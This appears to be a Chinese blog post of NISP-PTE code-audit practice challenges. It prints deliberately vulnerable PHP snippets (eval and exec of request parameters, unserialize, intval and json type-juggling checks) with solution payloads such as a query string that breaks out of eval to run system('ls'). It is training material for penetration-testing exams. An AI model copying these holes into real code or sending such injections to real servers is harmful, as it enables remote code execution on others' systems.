当前位置: 首页 > news >正文

NISP-PTE基础实操——代码审计

pte代码审计模拟1

源代码如下:

<?php 
error_reporting(0); 
$a = $_GET['a']; 
eval("\$ret = strtolower(\"$a\");"); 
echo $ret; 
show_source(__FILE__); 
?>
  • 接收参数 $a,构造为:

    eval("$ret = strtolower(\"$a\");");

  • eval() 动态执行,构成代码注入点;

  • show_source(__FILE__) 可看到源码,确认存在 eval()

  • strtolower() 是幌子,核心漏洞在于 $a无过滤拼接进 eval 字符串,可以闭合字符串并注入任意语句。

🚨 1. 漏洞本质

  • 代码注入 + eval 执行

  • 你可以闭合 strtolower(") 后直接注入任意 PHP 代码;

  • 攻击载荷执行在服务器端,能使用的函数包括 system()passthru()shell_exec()file_get_contents() 等。

🚀 2. 验证 RCE 是否可行

测试命令执行:

/index.php?a=");system("ls");//

执行逻辑还原:

eval('$ret = strtolower("");system("ls");//");');

此时 system("ls") 被执行,终端结果回显。

/index.php?a=");system("ls

pte代码审计模拟2

<?php
error_reporting(0); 
show_source(__FILE__);
if(strlen($_GET[1]<30)){echo strlen($_GET[1]);echo exec($_GET[1]);
}else{exit('too more');
}
?>

pte代码审计模拟3

<?php
error_reporting(0);
include "flag.php";
$TEMP = "CISP";
$str = $_GET['str'];
if (unserialize($str) === $TEMP)
{echo "$flag";
}
show_source(__FILE__);/index.php?str=s:4:"CISP";
/index.php?str=s%3A4%3A"CISP"%3B 

pte代码审计模拟4

<?php
$v1 = 0;
$v2 = 0;
$a = (array)json_decode(@$_GET['w']);
if (is_array($a)) {is_numeric(@$a["bar1"]) ? die("nope") : NULL;if (@$a["bar1"]) {($a["bar1"] > 2020) ? $v1 = 1 : NULL;}if (is_array(@$a["bar2"])) {if (count($a["bar2"]) != 5 or !is_array($a["bar2"][0])) {die("nope");}$pos = array_search("cisp-pte", $a["bar3"]);$pos === false ? die("nope") : NULL;foreach ($a["bar2"] as $key => $val) {$val == "cisp-pte" ? die("nope") : NULL;}$v2 = 1;}
}
if ($v1 && $v2) {include "key.php";echo $key;
}
highlight_file(__file__);
?>/?w={"bar1":"2025a","bar2":[[],"a","b","c","d"],"bar3":["cisp-pte"]}

 

pte代码审计模拟6

阅读源码,获取flag。$tis = "我们可以让您生活更轻松";$gp = $_GET['cx'];if($gp) {if(preg_match("/[0-9]/", $gp)) {$tis = "输入的只能是字符";} else {if(intval($gp)) {$flag = @file_get_contents("../../../flag.txt");if($flag === false) {$flag = "flag{file_not_found}";}$tis = $flag;} else {$tis = "只差一步就可以拿到Flag";}}}?>

pte代码审计模拟7

pte代码审计模拟8

某些PHP intval函数在处理时会出现些问题!$gp = isset($_GET['cx']) ? $_GET['cx'] : '';if ($gp) {if(intval(" .$gp.")<1001 && intval($gp +1)>10000){$flag = file_get_contents("../../../flag.txt");$tis = "验证通过!Flag: " . $flag;$class = "success";} else {$tis = "验证失败,请检查输入参数";$class = "error";}} else {$tis = "请输入测试参数";$class = "error";}

 

pte代码审计模拟9

一个json对象搞定 

pte代码审计模拟10

O:4:"User":1:{s:5:"admin";O:5:"Admin":0:{}}

http://www.dtcms.com/a/290947.html

相关文章:

  • 数学建模--层次分析法
  • 17 零基础学webUI | Controlnet精讲(03)-动作姿态类控图详解
  • 孤独感和社交频率啥关系
  • 04-UE蓝图节点基本结构讲解
  • 人形机器人CMU-ASAP算法理解
  • 安全告警研判流程
  • JAVA后端开发—— JWT(JSON Web Token)实践
  • Linux system-timesyncd时间同步机制详解
  • MTSC2025参会感悟:大模型 + CV 重构全终端 UI 检测技术体系
  • 可变形卷积神经网络详解:原理、API与实战
  • 机器学习初学者理论初解
  • 深入浅出:从最小核心到完整架构,全面解析5G用户面协议栈
  • Three.js 全景图(Equirectangular Texture)教程:从加载到球面映射
  • 码分多路复用(CDM)中芯片序列正交和规格化内积的具体含义
  • 耐看点播网页入口 - 追最新电视剧,看热门电影|官网
  • 智能控制权回归:人机协创时代的极简主义编码革命
  • 设计系统搭建:大型 Pad 应用的协同开发解决方案
  • 元宇宙与DAO自治:去中心化治理的数字文明实践
  • FREE论文精读:更快更好的无数据元学习框架《FREE: Faster and Better Data-Free Meta-Learning》
  • PHP:历经岁月仍熠熠生辉的编程语言
  • 芯谷科技--固定电压基准双运算放大器D4310
  • 定制化进销存软件精选:适配企业需求,提升运营效能
  • 项目动不动起不来,报错找不到或无法加载主类
  • 基于ECharts的电商销售可视化系统(数据预测、WebsSocket实时聊天、ECharts图形化分析、缓存)
  • 【一句话或一张图讲清楚】系列——AXI总线
  • 复习博客:JVM
  • 【CNN】卷积神经网络- part1
  • vLLM 基准测试与性能测试框架:全面解析LLM推理性能评估体系
  • 中断事件触发时CPU与NVIC的协作机制详解
  • 20250720题解